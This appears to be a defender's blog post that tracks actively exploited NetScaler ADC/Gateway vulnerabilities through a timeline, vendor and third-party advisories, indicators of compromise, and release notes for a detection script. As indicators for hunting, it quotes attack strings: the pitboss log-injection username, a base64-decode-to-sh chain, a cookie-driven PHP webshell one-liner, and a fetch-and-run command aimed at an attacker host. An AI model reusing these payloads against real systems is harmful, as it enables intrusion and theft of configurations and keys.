CVE-2026-88771 through CVE-2026-88778 and CVE-2026-88779, what you should know and how to fix your NetScaler ADC, NetScaler Gateway

This blogpost is made to help you understand CVE-2026-88771, CVE-2026-88772 and the six other vulnerabilities in Citrix security bulletin CTX697096, and CVE-2026-88779, the SAML attack, which Citrix published in a separate bulletin, CTX697174. It also explains how you can check if you are vulnerable, and gives community guidelines on how to fix your environment. This blogpost is not covering the details of the exploits out there, as I have no interest in sharing what the red team is doing. All responsibility is your own. I highly recommend you read the blogpost and take action immediately, don’t hesitate.

(Last updated 6th October 2026)

Latest news in short

• 6th October: a new payload tries to steal the configuration and every SSL private key: it writes ns.conf and the keys into a random .css file in LogonPoint and sends them to the attacker. Checker v1.14 detects it and says COMPROMISED clearly. Block outbound traffic from the NetScaler (NSIP/SNIP) to the internet: every payload in this campaign depends on it.
• 5th October: CISA added CVE-2026-88779 to its Known Exploited Vulnerabilities list (US federal deadline 7 October). Using SAML and not on 14.1-73.41 / 13.1-64.28 yet? Treat it as urgent. Checker v1.13 is out.
• 4th October: the SAML attack is now CVE-2026-88779 (CTX697174, CVSS 8.7) and has a fix: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS and 13.1-37.282 FIPS/NDcPP. Using SAML? Upgrade again, even if you already patched for CTX697096. Until then: Citrix’s Global Deny List signatures (NetScaler Console) or the responder policy from Citrix Support.
• 3rd October: Citrix released a new responder policy against the SAML attack. Get it from Citrix Support; if you applied an earlier workaround, ask to have it replaced. It is a mitigation, not a fix.
• 2nd October: a new zero-day, separate from CTX697096: crafted SAML requests crash patched NetScalers and have been seen running commands on a patched appliance. Since 4 October this is CVE-2026-88779. You are affected if your config has add authentication samlAction or add authentication samlIdPProfile.
• Do now: check your SAML config; with SAML, upgrade to 14.1-73.41 / 13.1-64.28 (they also contain the CTX697096 fixes). Until then use Global Deny List or Citrix’s responder policy (with the Responder feature enabled), block outbound traffic from the NetScaler to 213.209.159[.]55, f.pylrk[.]cc / *.pylrk[.]cc, and run the free checker v1.12 on both HA nodes.
• Read the full timeline ↓

↑ Back to contents

Timeline – CVE-2026-88771 through CVE-2026-88778 and CVE-2026-88779

The timeline for CVE-2026-88771 through CVE-2026-88778 (CTX697096) and CVE-2026-88779 (CTX697174) will be updated as things progress. (last updated 6th October 2026)

Early September 2026
According to Mandiant and Google Threat Intelligence (see 29th September), attackers start exploiting CVE-2026-88771 and CVE-2026-88772 in the wild, weeks before anyone else knows the vulnerabilities exist. The earliest public observation is from 5th September, when eSentire saw CVE-2026-88771 exploited on internet-facing Gateways. The CVE IDs are reserved on 10th September. Targets include government, financial services, education, and legal and professional services in North America and Europe.

24th September 2026
CVE-2026-88771 is exploited three days before anyone outside the attackers knows about it. On appliances investigated later, the .ctxs.receiver webshell was created at 06:52:51 UTC (Marius Sandbu, “seen at many instances”), and GreyNoise recorded exploitation attempts from 149.104.78.141 at 07:32 UTC (see 28th September). No patch existed yet.

26th September 2026
watchTowr posts on X about rumours of several unpatched NetScaler remote code execution vulnerabilities in the wild. On Reddit (r/Citrix), administrators report that their IT suppliers’ security teams phoned them to advise shutting down NetScalers immediately. A pre-notification from the Dutch NCSC (NCSC-NL) starts circulating on Reddit. It was sent after Citrix reported the actively exploited vulnerabilities under the EU Cyber Resilience Act (CRA), whose reporting obligations apply since 11th September 2026.

27th September 2026
watchTowr confirms that two unpatched zero-day RCE vulnerabilities in NetScaler were exploited in the wild, discovered during forensic investigations, and that they are not the August vulnerability CVE-2026-19490. At this point there are no CVE numbers, no advisory, no patch and no official IoCs. Many organisations take their NetScaler Gateways offline or restrict internet access.

Citrix publishes security bulletin CTX697096, disclosing eight vulnerabilities in NetScaler ADC and NetScaler Gateway, all fixed in 14.1-73.37 and 13.1-64.24 (released build for 13.1):

• CVE-2026-88771 (CVSS 9.5) – unauthenticated remote code execution, affecting all deployments including the default configuration. Exploited in the wild as a zero-day.
• CVE-2026-88772 (CVSS 9.5) – memory overflow leading to remote code execution when DTLS is enabled (default on Gateway virtual servers). Exploited in the wild as a zero-day.
• CVE-2026-88773 (CVSS 9.3) – HTTP request smuggling on HTTP/SSL virtual servers. Discovered internally by Citrix.
• CVE-2026-88774 (CVSS 7.0) – feature policy bypass through URL normalisation. Reported externally and already addressed in builds since 14.1-72.x.
• CVE-2026-88775 (CVSS 8.8) – memory overflow / denial of service on Gateway and AAA virtual servers.
• CVE-2026-88776 (CVSS 8.8) – memory overflow / denial of service on Oracle load balancing virtual servers.
• CVE-2026-88777 (CVSS 8.8) – memory overflow / denial of service with non-HTTP L7 features (FTP, LSN ALG, DNS64, NAT64).
• CVE-2026-88778 (CVSS 8.8) – TCP Initial Sequence Number prediction. Needs the upgrade and a configuration change (Enhanced ISN Generation).

At the same time NetScaler Cyber Threat Intelligence publishes a Tech Zone blog with additional guidance: generic IoCs through a NetScaler Console scan, the 13.1-64.23 cyclic-reboot issue with NS variables, and the change that SAML assertions must now always be signed.

The CVE records for all eight vulnerabilities are published and appear in the NIST National Vulnerability Database (NVD) with status Received. The CVSS v4.0 scores are provided by Citrix as the CVE Numbering Authority; NVD has not yet done its own analysis. See CVE-2026-88771, CVE-2026-88772, CVE-2026-88773, CVE-2026-88774, CVE-2026-88775, CVE-2026-88776, CVE-2026-88777 and CVE-2026-88778.

CISA publishes the alert Critical Zero-Day Vulnerabilities Exploited in Citrix NetScaler ADC, Gateway, amplifying all eight CVEs. CISA writes that it “has received reports and partner threat intelligence confirming that threat actors are actively exploiting these vulnerabilities globally”. CISA urges organisations to check for indication of compromise prior to patching, using the IoCs in NetScaler Console, and to preserve forensic evidence before applying updates, “as updates may result in loss of forensic visibility”.

At the same time CISA adds two vulnerabilities to the KEV catalog:

CVE ID	KEV vulnerability name	Date added	Due date	Forensic triage required (BOD 26-04)
CVE-2026-88771	Citrix NetScaler Improper Input Validation Vulnerability	27th September 2026	30th September 2026	Yes
CVE-2026-88772	Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability	27th September 2026	30th September 2026	Yes

The required action is to apply mitigations in accordance with vendor instructions, following BOD 26-04 “Prioritizing Security Updates Based on Risk” and CISA’s “Forensics Triage Requirements”, or to discontinue use of the product if mitigations are unavailable. BOD 26-04 applies to US federal civilian agencies only, but CISA encourages all organisations to prioritise KEV vulnerabilities. Known use in ransomware campaigns is listed as “Unknown”. The other six CVEs are not in the KEV catalog, as no exploitation has been reported for them so far. According to Shadowserver, more than 23,000 NetScaler instances are exposed to the internet.

28th September 2026
NVD updates the records. CVE-2026-88772 now shows that it is in CISA’s KEV catalog, with CWE-119 added by CISA-ADP. The NVD’s own CVSS assessment is not yet provided, so the scores shown are Citrix’s (CVSS v4.0 9.5).

🛠️ I release netscaler-ctx697096-checker, a free, read-only, open-source (MIT) script that checks a NetScaler against CTX697096: vulnerable or fixed build, all eight CVE preconditions (including every admin partition), Enhanced ISN Generation, and upgrade risks (13.1-64.24, unsigned SAML). It runs on the appliance or offline against an exported ns.conf. See the checker section below.

watchTowr Labs publishes a technical analysis of CVE-2026-88771. The pre-authentication command injection is triggered through the logon process: attacker-controlled input from a logon attempt (for example the username or User-Agent) ends up in NetScaler log entries, which a background script later passes to a shell command without proper validation. Citrix’s fix adds strict validation and runs the command without a shell. With the technique now public, expect exploitation attempts against unpatched NetScalers to increase quickly. Defenders can look for logon-related entries in /var/log/ns.log* that contain shell metacharacters (backticks, $(, or ; / | followed by a command). The same evening I release checker v1.2, which adds this log check, summarises VPN access logs, and shows [met/fixed] instead of [AFFECTED] on patched appliances.

🛠️ I release checker v1.3, after testing --ioc on a production appliance that was just upgraded to 14.1-73.37. The optional --ioc sweep now shows when the exposure window started or ended (firmware install date), whether in-memory traces can still exist (last boot), and how many days of logs the appliance keeps. Web files changed in the last 14 days are analysed: theme rewrites, files written during the upgrade and the standard Citrix language loaders are recognised, and any file changed on its own that contains data-sending code, an obfuscated loader or a PHP webshell is marked [SUSPECT]. Two lessons from that real appliance: its logs only covered about 24 hours, so forward your logs to a SIEM or syslog server now, and NAT hid every client IP, so keep your firewall logs as well.

GreyNoise publishes Swarming Against Citrix 0-Day Exploitation. Their sensors saw CVE-2026-88771 exploited on 24 September 2026 at 07:32 UTC, three days before public disclosure, from 149.104.78.141. After exploitation the attacker made /bin/sh setuid (chmod 6555), dropped a hidden PHP webshell at /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver (unlocked with a CsrfToken cookie), exposed it through an httpd Alias/AliasMatch for /logon/LogonPoint/custom/receiver.min.css (or receiver.min.<hex>.css) and reloaded httpd. Webshell SHA-256: 6f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7. If your appliance was internet-facing on or after 24 September, assume it could have been targeted before the patch existed. All of these indicators are included in checker v1.4, released on 29 September, with --ioc.

watchTowr also publishes a public proof of concept on GitHub. It sends one POST /nf/auth/doAuthentication.do with the login name pitboss PPE unexpectedly died NSPPE;<command>;# X and a plain Mozilla/5.0 user agent, and tells the user to wait: the command runs when a background job picks up the log line, which can take up to 24 hours. For defenders, this means that the attacker’s request and the files it creates can be up to a day apart, and an unpatched appliance can still execute a command that was sent yesterday. Within hours, deception company Lupovis captures live CVE-2026-88771 exploitation from several actors on their decoys. All of them send a POST /nf/auth/doAuthentication.do where the login name is a fake system message followed by a command: pitboss PPE unexpectedly died NSPPE;<command>;# X.

• 138.28.234.38 runs id and uname and exfiltrates the result over DNS to *.instances.httpworkbench.com (user agent Python-urllib/3.14).
• 82.167.14.7 writes a harmless canary NX-CVE-OK to /var/vpn/bookmark/nx_verify.html and the Gateway web root, then checks whether it is reachable.
• 154.217.251.226 writes the output of id to /var/tmp/wtw888, and also scans for CVE-2026-88772 (user agent PoCbit).
• 78.128.113.10 uses ${IFS} instead of spaces and FreeBSD’s fetch to download a next stage.
• 85.203.46.191 only scans, with the user agent ns-88771-poc.

Marius Sandbu shares how the .ctxs.receiver webshell works: a PHP one-liner that runs passthru(urldecode($_COOKIE["NSC_TASS"])) when a CsrfToken cookie matches a hardcoded value. Both cookie names are used by NetScaler itself, so the traffic blends in. HA file sync copied the webshell to the secondary node, and it survived a reboot and the upgrade. Patching does not clean a compromised appliance. Any file written by these payloads (nx_verify.html, /var/tmp/wtw*) proves the command ran, so the appliance was exploitable and must be treated as compromised, even if the payload itself was harmless. Simple searches for ; curl or ; wget miss most of these, and my own checker v1.3 did too. These indicators are also included in checker v1.4, released on 29 September, which separates “compromised” from “targeted”.

Corelight publishes Hunting Citrix NetScaler zero-days, with Zeek queries for the network side: finding NetScalers in your traffic (TLS names and certificates, NSC_ cookies, the Server header), DTLS sessions (the precondition for CVE-2026-88772), and the pitboss string in HTTP headers and URIs. That last one only works where you decrypt TLS in front of the Gateway (break-and-inspect). They also document a reverse-shell host, 194.26.29.88: check your firewall and network logs for connections to it from the NetScaler’s NSIP or SNIP.

Kevin Beaumont names the vulnerability “PitScaler”, after the fake pitboss log messages used to exploit it. The independent site PitScaler.com now collects the timeline and every public indicator of compromise, with sources and caveats, and offers them as a CSV download.

29th September 2026
CERT-EU publishes Taking “execute logging” a bit too literally, with the root cause and what they saw during an investigation. The vulnerable script is ns_monuploadd_err.pl: it searches /var/log/ns.log, ns.log.0 and /var/log/messages for a PPE heartbeat error from pitboss, and puts the matching text straight into a shell command. Only the last matching line counts, which explains why attackers send the same request again and again. The attack they saw came in two stages:

1. A request to /logon/LogonPoint/tmindex.html with a base64-encoded shell command in the User-Agent, prefixed with INDEX:. It lands in the HTTP access log and does nothing yet.
2. A logon attempt with the user name pitboss PPE missed too many heartbeatsNSPPE;grep${IFS}INDEX:${IFS}/var/log/htt*|sed…|b64decode${IFS}-r|sh;. When the script picks it up, it extracts the command from the access log, decodes it and runs it. In their case the command changed /etc/httpd.conf to enable PHP and dropped a web shell.

So there is more than one fake pitboss message in use, and the real payload may sit in your HTTP logs rather than in ns.log. This variant is also covered by checker v1.4, released later the same day, which looks for both markers, also searches /var/log/messages, and finds and decodes INDEX: payloads in the access logs.

🛠️ I release checker v1.4, which now also checks for compromise. One read-only command on the appliance answers both questions: am I fixed? and was I hacked? With sh ctx697096_check.sh --ioc it checks every public indicator of compromise published so far (GreyNoise, Marius Sandbu, Lupovis, the watchTowr PoC and CERT-EU): webshells by name, hash and content, files written by exploit payloads, injected commands in the logs (decoded), and known attacker IPs. It separates compromised (a command ran on the box) from targeted (attack traffic only), and tags every attack line as before or after your fix, so you can see at a glance whether an attempt could have worked. It needs no NetScaler Console, telemetry or support case, and complements the official Citrix IoC scan. I tested it on a production appliance that was attacked the night after it was patched: all attempts were correctly shown as after the fix and failed. See the checker section.

Beazley Security updates its advisory BSL-A1216, a clear summary of all public indicators with hunting commands. Two practical points: attackers abuse cron jobs to remove forensic artifacts, and /nsconfig/rc.netscaler and /nsconfig/nsafter.sh (which run at every boot) are worth checking for persistence. They also warn that genuine watchdog events log “missed too many heartbeats” too, so only treat it as an attack when it appears in an authentication log line or next to shell characters such as ;, backticks or ${IFS}.

watchTowr also publishes a public detection tool for CVE-2026-88772, the DTLS flaw. It attacks the Gateway’s DTLS service over UDP/443 and, on a vulnerable box, writes a small marker file, /tmp/watchTowr, to prove it worked. /tmp is emptied at reboot, so check before you reboot or upgrade. Its offsets are hardcoded for 14.1-73.30, so on other vulnerable builds it is more likely to crash the packet engine. The DTLS flaw is now easy for anyone to exploit: if you cannot patch right now, block UDP/443 or disable DTLS on your Gateway virtual servers today. Crashes and restarts of the packet engine (exit with orphan rings, NOT restarting NSPPE, new files in /var/core) are a sign of attempts.

Nextron Systems adds THOR detection coverage for CVE-2026-88771 and CVE-2026-88772: rules for the log injection, the .ctxs.receiver-style webshell and artifacts of a public CVE-2026-88772 proof of concept, plus a NetScaler filesystem IoC set. The rules are in THOR’s Preview signature channel for THOR customers (thor-util update --sigdev). Nextron notes that a match is a strong lead, not proof of compromise on its own.

Kevin Beaumont shares what he sees on compromised appliances (summarised by Prophet Security): “every appliance got a different shell”, so searching for one file name or hash is not enough. After getting in, attackers use tools like ldapsearch and openssl on the NetScaler to pull credentials from Active Directory through the LDAP bind account. Look for these in /var/log/sh.log* and bash.log*, for LDAP/LDAPS or SMB connections from the NetScaler to your domain controllers outside normal authentication, and for new logons by the NetScaler’s service account. These checks are included in checker v1.5, released the same afternoon: PHP or shell scripts under /netscaler/ns_gui written after boot, ldapsearch / openssl s_client in the shell history, and a User-Agent that is only a base64 string (shown decoded).

Mandiant and Google Threat Intelligence publish Defending Against Active Exploitation of Citrix NetScaler ADC and Gateway Appliances, the most detailed defender guidance so far. Key points:

• Exploitation started in early September, not on 24 September, and it involves both CVE-2026-88771 and CVE-2026-88772. The DTLS flaw is attacked over UDP/443.
• The attackers hide webshells as client packages, signature files or icons in the Gateway folders (vpn/scripts, vpn/media), and change httpd.conf so that those files run as PHP. They also make /bin/sh setuid.
• They install a tunnel that lets them reach your internal network through the NetScaler, and use it to harvest credentials. A compromised NetScaler is a way into the whole network, not just a Gateway problem.
• They clean up traces, so a clean log is not proof of a clean appliance.

Mandiant’s advice if you cannot patch immediately: block inbound UDP/443 where DTLS is not needed, keep management interfaces off the internet, use default-deny outbound rules from the NSIP/SNIP, and forward ns.log, /var/log/messages and the HTTP logs off the box. If an appliance is compromised: isolate it, disable HA synchronisation, keep a VM snapshot with memory, and rotate every secret on it: TLS certificates and keys, LDAP bind, RADIUS, TACACS, SNMP and API credentials. Also check StoreFront, the Delivery Controllers and the VDAs behind it. The same afternoon I release checker v1.5 with these indicators, together with Kevin Beaumont’s: PHP handlers for non-PHP extensions and aliases in httpd.conf, webshell code in the Gateway plugin and media folders, tunnel artefacts, and DTLS handshake failures and packet-engine crashes in the logs.

🛠️ Later the same day I release checker v1.5 with the Mandiant/GTIG and Kevin Beaumont indicators (including CVE-2026-88772), and in the evening v1.6, after upgrading a production HA pair with it: the checker now reads the build that is actually running instead of the saved ns.conf (which still shows the old build until save ns config), recognises a firmware image that is copied but not yet booted, and shows attempts that only came after the patch as [CHECK] instead of red.

Citrix updates the IoC detection logic in NetScaler Console (Security Advisory > Indicators of Compromise). The first version was from Sunday 27th September; the IoC tab now shows 29th September as the last update. If you scanned before, run the Console IoC scan again. (Citrix later documented this as IoC version 3, see 30th September.)

30th September 2026
CISA deadline for US federal agencies to secure vulnerable NetScaler appliances.

NetScaler Cyber Threat Intelligence publishes Understanding NetScaler Indicators of Compromise: What the IoC Feature Does, How It Evolves, and How to Interpret Results, with the version history of the official IoC scan:

IoC version	Released	Change
v1	27th September 2026	Initial release for FreeBSD-based NetScaler platforms
v2	28th September 2026	Platform check, so the scan no longer runs on unsupported Linux-based deployments
v3	29th September 2026	Support for VPX-Linux on Nutanix AHV (14.1), fewer false positives, additional IoC signatures. Recommended for everyone.

Key points from the article:

• A clean result does not mean “never compromised”, only that the indicators in that version were not found when the scan ran. Attackers may have covered their tracks, so Citrix strongly recommends external logging to a SIEM.
• Attempts after the upgrade can show up as a potential IoC. Log entries from exploitation attempts that came after the update do not by themselves prove compromise. Re-run with the latest version and review the result with your security team. (This is the same distinction my checker makes with its [BEFORE fix] / [after fix] tags.)
• The update does not clean up a compromised appliance. If compromise is suspected or confirmed, deploy a new, updated NetScaler instance, migrate the configuration in a controlled, security-reviewed way, and do not rely on HA synchronisation from the suspect appliance.
• Download the detailed CSV/PDF result per instance, and record the scan time, IoC version, appliance build and platform. Results can differ between runs because the logic changed, the appliance was upgraded or failed over, or logs rotated.
• Updated IoC content reaches the NetScaler Console service and Console on-premises with Cloud Connect without a Console upgrade. Air-gapped customers should open a support case.
• Requirements: the IoC scan needs product usage telemetry to be sent, and it does not support NetScaler BLX.
• How to read the result: each instance shows Potentially Compromised, No Compromise Detected, Skipped, Failed to Execute or Execution in Progress. A potentially compromised instance lists what was found, for example Suspicious php files, Potentially suspicious files, setuid files, Suspicious config file alterations or Suspicious memory overread. Older scans stay in the scan history and can be downloaded as CSV or PDF. Citrix itself notes that the IoC information does not cover every attacker technique and may fail to identify actual compromises, and advises involving experienced forensic investigators.

Palo Alto Networks Unit 42 publishes its analysis of both zero-days. Before disclosure, CVE-2026-88772 (DTLS) was used to drop a webshell disguised as a Linux VPN client package (/vpn/scripts/linux/nsg64.deb or nsgclient18.deb), and CVE-2026-88771 to plant .ctxs.receiver through log poisoning. The webshell takes commands in the NSC_TASS cookie and encrypts its traffic with RC4. Unit 42 lists nine IPs (two of them Cloudflare WARP addresses that ordinary users share), three hashes, and a detection query that also catches the NSPPE-00; variant of the poisoned log line. Their hunting advice matches the rest of this post: Base64 User-Agents in httpaccess-vpn.log, pitboss lines with commands in ns.log, new files in LogonPoint/custom, Alias lines in httpd.conf, and a setuid /bin/sh.

TENEX publishes the most detailed account so far of what happened after exploitation. Attackers used rotating staging servers to deliver shell, Perl and Python stages, then enrolled the appliance in Platypus, a command-and-control framework. The agent works from a hidden folder, /var/core/.ns-cache (a client.crt and client.key there mean it enrolled), copies itself as /netscaler.local/ns_*.pl, and in one case replaced NetScaler’s /var/python/bin/customsnmpd with a 19 MB Go binary. It runs under harmless-sounding names such as system-health or healthd. A second, opportunistic wave used gsocket and netcat reverse shells, and wrote id009.txt into the web folders to prove a command ran. TENEX also lists network signs to watch for: mDNS _platypus-mesh._tcp traffic on UDP/5353 and TLS certificates with subject platypus-ingress.

Arctic Wolf publishes an alert pack for CVE-2026-88771 with what they saw on exploited appliances: commands that download Python, Perl and shell scripts, reverse shells through Bash or Netcat, and command output sent back base64-encoded in an HTTP request. One appliance downloaded a Perl implant, nsmon.pl, that hides in /var/tmp/.nsmon (with .cfg and .state files), adds a cron entry to /etc/crontab or /nsconfig/crontab that runs it as root every five minutes, and listens on a TCP port between 41000 and 41999. The pack lists 11 IPs, the domain entretiensol[.]com, five payload hashes and sample ns.log lines of the pitboss injection.

The attacks go on, and they are after your configuration and keys. On a patched production appliance I analysed, attackers kept trying through 29th September with new payloads: 1-byte requests for the Linux EPA package (nsepa.deb, HTTP 206) to fingerprint the Gateway, an expr test written to /netscaler/ns_gui/vpn/c88771.json, and a command that packs all of /flash/nsconfig (ns.conf and the SSL private keys) into /var/netscaler/logon/LogonPoint/xua.html, a tar archive disguised as a web page, ready to download. On that box every attempt failed. One of them arrived 1.5 hours before the patch; the files it tried to write in the persistent /var folders were never created, and the attacker’s own follow-up checks all returned 404. On an unpatched box, the same payload would have handed over the whole configuration.

🛠️ I release checker v1.7, the biggest update so far, with indicators from Gotham Technology Group’s IoC check (shared with permission) and Manuel Winkel’s (Deyda Consulting) triage script, and with review and feedback from Michael Shuster (Ferroque Systems). Thanks to all three!

• Important fix: run it again if you got a yellow result with v1.4–v1.6. The before/after-fix decision only looked at the first few lines of each indicator, so an attempt before the patch in an older, rotated log could be missed. That is exactly what happened on the appliance above. v1.7 decides on every line and always shows [BEFORE fix] lines first.
• New compromise indicators: c88771.json and xua.html, any archive disguised as a web file (the stolen-config trick, whatever the file is called), files dropped by known payloads (/.x, lula, /var/1.py, update_c*.pl, insight-new.js, admin_ui/e.txt), a setuid /var/tmp/sh, persistence in rc.netscaler, and live connections to campaign infrastructure. On a vulnerable box it also warns when injected text is still waiting in the logs for the next daily run (“ARMED”).
• More targeting indicators: 17 known attacker IPs, the nsepa.deb and vp_probe_nonexist probes, requests for .ctxs.receiver, and key or config theft in the shell history.
• Packet engines that restarted after boot (possible CVE-2026-88772), recently changed files in /tmp and /var/tmp, and a clearer verdict that names CVE-2026-88778 when Enhanced ISN is still off. Saved reports (--out) are defanged, so they are safe to paste into email.

🛠️ In the evening I release checker v1.8: reliable fix date for the before/after-fix tags. Thanks to feedback in the World of EUC Slack: up to v1.7 the checker took the newest file in /var/nsinstall as the moment the fixed build was installed, but adc.version in that folder is rewritten when someone logs on to the NetScaler GUI. After a GUI logon, attacks that came after the patch were tagged [BEFORE fix] and shown in red. v1.8 takes the date from the running build’s kernel in /flash (written once by installns) and the first boot after the install, and shows where the date comes from. Nobody needs to set anything by hand; an optional --fixdate override exists for special cases. If v1.7 or earlier showed [BEFORE fix] lines on an appliance you had patched days earlier, run v1.8 again.

1st October 2026
🛠️ I release checker v1.9 with every public indicator published since v1.8:

• 42 attacker IPs (C2, payload hosts, exfiltration, reverse shells) and the domains echvista.com and entretiensol.com, from the PitScaler.com IoC collection (original sources: Truesec, eSentire, IFIN, Corelight, Lupovis, Beazley Security, GreyNoise and Mandiant) Arctic Wolf and Unit 42. Plus about 60 opportunistic scanner IPs from GreyNoise in a separate group marked “hunting lead only”. Cloudflare WARP addresses are left out, because ordinary users share them.
• Arctic Wolf’s nsmon.pl implant: its hidden folder /var/tmp/.nsmon, its cron persistence and its listener on port 41000–41999, all reported as compromise. Also /var/tmp/.s, payload hashes and reverse-shell strings in the logs.
• Mandiant’s WHIPSHOT webshell code (commands in HTTP_X_UX or HTTP_NSC_CLIENTTYPE headers) and the SLAPSHOT tunnel marker UXD_IDLE_EXIT, three more webshell hashes, and base64 PHP (PD9…) in the User-Agent, eSentire’s way of staging a webshell through the access log, shown decoded.
• Beazley’s checks: cron jobs that delete or empty logs or files (reported as compromise), crontabs for other users, suspicious commands or recent changes in /nsconfig/nsafter.sh, and php_flag engine on or a PHP SetHandler in httpd.conf.
• Unit 42’s .deb webshell found by the RC4 key, token and passphrase inside it, so renamed copies are caught too.
• Exploit marker files in /tmp, including /tmp/watchTowr from the public CVE-2026-88772 tool. Earlier versions only looked in /var/tmp.
• Following Elastic’s detection rule, any pitboss packet-engine message with a shell character such as ;, && or $(, so hand-written variants are caught too.
• From Manuel Winkel’s updated Deyda triage script: three more webshell hashes (Unit 42), attack payloads in login-page requests in the HTTP logs (still visible after ns.log has rotated), and a combined warning when DTLS handshake failures and packet-engine crashes both appear, a likely CVE-2026-88772 attempt.
• A fix for a display bug where a matched log line could show up empty: some log lines contain binary or terminal-control bytes, and these are now shown as . with the label “(line contains binary data)”. The counts and the verdict were always right.

Real Citrix client packages such as nsgclient*.deb share their names with some webshells, so the checker only flags them by content, never by name. And as Kevin Beaumont points out, attacker IPs and webshell names differ per victim: a clean result is never proof of a clean appliance.

LevelBlue’s threat hunting team describes what attackers did after getting in, across several customer environments (reported by The Hacker News). They added a backdoor admin account sec_monitor with superuser rights to ns.conf, packed /flash/nsconfig into /tmp/update_result_*.tgz for download, hid a PHP webshell as LogonPoint/.local_journal, enabled PHP in httpd.conf, made /bin/sh setuid, opened Python reverse shells, killed NetScaler’s customsnmpd, and deleted their scripts and archives afterwards. Check your admin accounts: an attacker with their own superuser account keeps access after you patch. Run show system user and confirm every account is yours.

2nd October 2026
⚠️ Patched NetScalers are rebooting. Attackers are now sending crafted SAML logins to NetScaler Gateways, also to appliances on the fixed build. The exploit tries to drop a payload. On many appliances it only crashes them: the authentication daemon nsaaad or the packet engine. After repeated crashes the appliance restarts itself, and then the HA peer takes over, gets the same requests and goes the same way. Citrix confirms this is a new issue, separate from CTX697096, and plans a new security bulletin together with fixed builds (Citrix guidance for SAML deployments).

• Using SAML? According to Citrix, an appliance is affected when its configuration contains add authentication samlAction (NetScaler as SAML Service Provider) or add authentication samlIdPProfile (NetScaler as SAML Identity Provider). Seeing crashes now? Open a Citrix case: Citrix Support has an interim workaround. Upgrade as soon as the new bulletin is out.
• Keep the core files from /var/core and the logs: Citrix needs them.
• What the payload would install (a sample was shared in the community): webshells in LogonPoint/custom that answer with a fake 404, a tunnel agent in /nsconfig/.slap/ that survives reboots and upgrades, Python tunnels in /var/tmp/.ux/, and an upload of the whole /nsconfig with all passwords, certificates and keys. On some appliances the exploit only crashed the authentication daemon; on a patched honeypot it ran (see above). The checker reports all of it.

Separately, a bot has been sending the same login-injection payload every few minutes (fetch -qo /v http://<host>:443/t/<hex>; sh /v, with ${IFS} instead of spaces). Since 2 October it can run commands again, also on a fixed build (see above). Check that there is no file /v on the appliance, and block access to the Gateway and management interfaces that you don’t need.

Block outbound traffic from the NetScaler to the known download and command-and-control hosts, such as f.pylrk[.]cc, gsocket[.]io and 213.209.159[.]55: a payload that has to fetch its second stage then fails, even if it runs. Better still, only allow the NetScaler to reach the destinations it needs (DNS, NTP, LDAP/RADIUS, syslog, Citrix updates). Blocking attacker IPs inbound helps less: they change daily and some come through residential proxies.

🛠️ I release checker v1.10. It fixes a problem reported by several readers: on appliances with large logs, --ioc in v1.9 could run for many minutes at 100% CPU and looked like it had hung, because it read all logs once for every attacker IP. v1.10 reads them once, with identical results: 34 seconds instead of 170 on my 255 MB test logs. Before the sweep it shows the expected run time, then progress while it runs. New in v1.10:

• The SAML attack. The kit it tries to install (/nsconfig/.slap/, /var/tmp/.ux/, .slap.receiver, its cron and startup entries, its listeners and the exfiltration host), nsaaad crashes, and whether the Citrix Support workaround is bound.
• Backdoor admin accounts. Wiz found a payload that only adds an admin user, sets the EPA default group to NO_AUTH and unbinds the EPA policies, with no webshell or file left behind. NO_AUTH in the config or in the CLI audit log in ns.log is reported as compromise. Every system user is listed, with the users added since an older saved config, so you can confirm each one is yours. LevelBlue’s sec_monitor account is reported as compromise.
• Generic webshell code. Following Florian Roth’s (Nextron) point that generic rules caught these artefacts before the CVEs were public, the checker now also looks at what the code does, not only at hashes: obfuscated webshell code (eval of gzinflate/base64_decode, eval on request input) in every web-served folder, whatever the file is called, and the Platypus bootstrap script by its content.
• TENEX’s Platypus C2 agent (the hidden folders, a replaced customsnmpd, the decoy process names, the disguised webshell alias) and LevelBlue’s .local_journal webshell and /tmp config archive.
• 58 attacker IPs, including new ones from Sygnia, LevelBlue and TENEX.
• More logs: notice.log and nsvpn.log, where the authentication daemon logs the login names, so the bot above shows up as targeted.
• Management interface exposed: failed management/NITRO logins from public addresses. CVE-2026-88771 is staged through a failed login to the NITRO API.
• Many appliances at once: a new --summary option for NetScaler Console configuration jobs, which saves the full report and a one-line result on each appliance (Console may not show the output itself; the README explains how to collect the results). --days sets how far back the checks for recently changed files look (default 30 days).

🛠️ Update: checker v1.11 (released 3 October). Every run now shows whether the new SAML issue applies, following Citrix’s guidance (samlAction or samlIdPProfile in the config), whether Citrix Support’s interim workaround is bound, and any nsaaad crashes. The --summary line adds saml=sp, idp or none, so you can see at a glance which of your appliances are affected. Thanks to Gotham Technology Group, who shared their incident-response indicators and advisory, and to Unit 42 and Rapid7, it now checks 95 attacker IPs and 14 domains, including pylrk.cc, the download server in attempts seen today. New: requests for /vpn/c, where a stolen configuration archive is served (HTTP 200 means it was likely downloaded), x.sh payloads, leftovers of the 2020 NOTROBIN backdoor, and password-spray sources. New: injection lines since 2 October are reported as “may have run”, files that injected commands tried to write are checked, and the crash sequence that ends in a reboot is recognised. Ran v1.10 already? Run v1.11 again: the last line should say “Checked 95 attacker IPs”.

3rd October 2026
🚨 Commands run again on patched NetScalers. Kevin Beaumont reports that one of his patched honeypots ran a downloaded malware binary, and that the fix for the pitboss log injection looks bypassable. Citrix calls it a new zero-day, separate from CTX697096, with a bulletin and fixed builds planned. Until then, login-injection attempts from 2 October on can no longer be treated as harmless on a fixed build, including the ones shown as [after fix] in your checker reports. Check now:

• The files the injected commands tried to write: /v, /tmp/v, /var/tmp/v, and any path after > or -qo in the injection lines (for example a marker file in LogonPoint/receiver/images/1x/). If such a file exists, the command ran.
• Your firewall logs for outbound connections from the NetScaler to 213.209.159[.]55, f.pylrk[.]cc / *.pylrk[.]cc.
• Running processes: ps auxww | grep -iE "fetch|curl|/v|/tmp/|nohup" | grep -v grep.
• The crash sequence in ns.log and messages: nsaaad unexpectedly died due to receiving signal, proc nsaaad … EXITED, maximum number of restarts, Pitboss declaring system failure, All monitored processes have exited, rebooting.

Checker v1.11 does all of this: injection lines since 2 October are now red (“may have run”), and a file that an injected command tried to write is reported as compromise if it exists.

